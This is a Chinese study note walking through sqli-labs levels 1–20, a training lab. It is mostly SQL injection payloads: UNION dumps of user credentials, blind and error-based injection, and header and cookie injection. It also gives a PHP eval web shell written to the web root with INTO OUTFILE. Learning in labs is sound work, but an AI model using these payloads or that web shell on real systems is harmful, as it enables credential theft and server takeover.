sqli-labs学习1~20

注:为方便学习,加入两行代码
echo $sql;
echo "<br>";

贯穿始终的步骤:

mysql查询语句
查库:select schema_name from information_schema.schemata;
查表:select table_name from information_schema.tables where table_schema='security';
查列:select column_name from information_schema.columns where table_name='users';
查字段:select username,password from security.users;

less-1

注入漏洞:id=1'--+

知识点补充:

* order by //判断多少个注入点
* union select  1,2,3  //查看那些数据可以回显(id=-1)
* group_concat() //批量查询
* concat_ws('~',a,b) //查询a~b

查看当前数据库

id=-1' union select 1,2,database() --+
id=-1'  union select 1,2,concat_ws('~',user(),version(),database()) --+ 
//查询数据库版本,路径,当前用户,当前数据库

查看数据库/所有数据库

id=-1' union select 1,2,schema_name from information_schema.schemata limit 4,1--+  //limit 决定查看序数
id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

查看表/所有表

id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x() limit 1,1--+
//十六进制绕过
id=-1' union select 1,2,group_concat(table_name) from information_schema. tables where table_schema=0x()--+

查看列信息/所有列信息

id=-1' union select 1,2,column_name from information_schema.columns where table_name=0x() --+

id=-1' union select 1,2,group_concat(column_name) from information_schema. columns where table_name=0x()--+

连接查询用户名和密码/所有用户和密码

id=-1'  union select 1,2,concat_ws('~',username,password)from security.users limit 1,1--+

id=-1' union select 1,2,group_concat(concat_ws('~',username,password))from security.users--+

less-2

注入漏洞:id=1--+,不需要'

less-3

注入漏洞:id=1')--+

less-4

注入漏洞:id=1”)--+

less-5(布尔型盲注)

注入漏洞:1'--+,布尔型盲注

知识点补充

1. left(a,b) 从左侧截取a的前b位,正确返回1,错则返回0 ——burpsuit爆破
2. regexp 正则表达式
/转意
^匹配开始部分
$匹配结束部分
.匹配任何字符
[:character_class:]术语类的所有字符匹配的字符类
[[:<:]],[[:>:]]word 边界,
3. like 
'n%'以N开始的
'%g'以g结尾
'%s%'包含s
4.substr(a,b,c) 从b开始,截取a字符c位长度
ascii(substr((select database()),1,1)2分法获得字符 
//当没有在当前数据库下没有回显,一般不适用

猜测字符方法

burpsuite爆破
手动二分法
脚本

示例

burpsuite:  id=1' and left((select database()),1))='a'--+


less-6

注入漏洞:id=1”--+,布尔型盲注

less-7(一句话木马)

注入漏洞:id=1'))--+,布尔型盲注

知识点补充:

1.一句话木马: <?php @eval($_POST['attack']);?>
【基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']表示从页面中获得attack这个参数值。
【条件】
(1)木马上传成功,未被杀;
(2)知道木马的路径在哪;
(3)上传的木马能正常运行。
2.load_file('文件路径'):读取本地文件 (避免特殊字符使用双斜杠\\)
3.into outfile:写文件

示例

id=1')) union select 1,2,'<?php @eval($_POST[''pass'']);?>' into outfile 'D:\\learning_tools\\phpstudy\\phpstudy_pro\\WWW\\sqli\\Less-7\\test2.php' --+


less-8

注入漏洞:id=1'--+,布尔盲注

less-9(时间盲注)

注入漏洞:id=1' --+,时间盲注

实例

id=1' and sleep(5)--+ //延迟5秒表示注入成功

less-10

注入漏洞:id=1”--+,时间盲注

less-11

注入漏洞:uname=n'or 1=1 #&passwd=admin&submit=Submit

实例 (和get相同)

//查多少个注入点
uname=n' order by 2 #&passwd=admin&submit=Submit

//查到数据库——security
uname=n' union select 1,schema_name from information_schema.schemata limit 2,1 #&passwd=admin&submit=Submit 

//查看表——users
uname=n' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'  #&passwd=admin&submit=Submit

//查看列——username
uname=n' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'  #&passwd=admin&submit=Submit

//查所有username
uname=n' union select 1,group_concat(username) from security.users  #&passwd=admin&submit=Submit

//查询用户~密码
uname=n' union select 1,group_concat(concat_ws(0x7e,username,password)) from security.users  #&passwd=admin&submit=Submit

less-12

注入漏洞:uname=n") or 1=1 #&passwd=admin&submit=Submit

less-13 (布尔盲注)

注入漏洞:uname=n') or 1=1 #&passwd=admin&submit=Submit
布尔型盲注

实例

burp suite爆破:
uname=n') or left(database(),1)='a' #&passwd=admin&submit=Submit

less-14

注入漏洞:uname=n" or 1=1#&passwd=admin&submit=Submit
布尔型盲注

less-15

注入漏洞:uname=addmin&passwd=ad' or 1=1 #&submit=Submit
注入点在passwd,其他一样
布尔型盲注

less-16

注入漏洞:uname=addmin&passwd=ad" or 1=1 #&submit=Submit
布尔型盲注

less-17(更新漏洞)

注入漏洞:uname=admin &passwd=dadad' # &submit=Submit
更新密码存在注入漏洞

知识点补充

updatexml(XML_document,XPath_string,new_value)
第一个参数:string格式,xml文件对象名称
第二个参数:xpath格式字符串
第三个参数:string格式,替换查找符合条件的数据
作用:改变文档中符合节点条件的节点值

实例

//返回当前数据库
uname=admin &passwd=dadad' and updatexml(1,concat(0x7e,(database())),1)# &submit=Submit

less-18(User-Agent漏洞)

注入漏洞:
User-Agent:'or updatexml(1,concat('~',(database())),1) or '1'='1
// '闭合
User-Agent:'or updatexml(1,concat('~',(database())),1), '','')#
//另一种闭合

实例

//查库
User-Agent:' or updatexml(1,concat(0x7e,(database())),1),'','')#

less-19(Referer漏洞)

注入漏洞:Referer:' or updatexml(1,concat('~',(database())),1) or '1'='1
注入点在referer,其他一样

less-20 (cookie漏洞)

注入漏洞:cookie中value值' #注入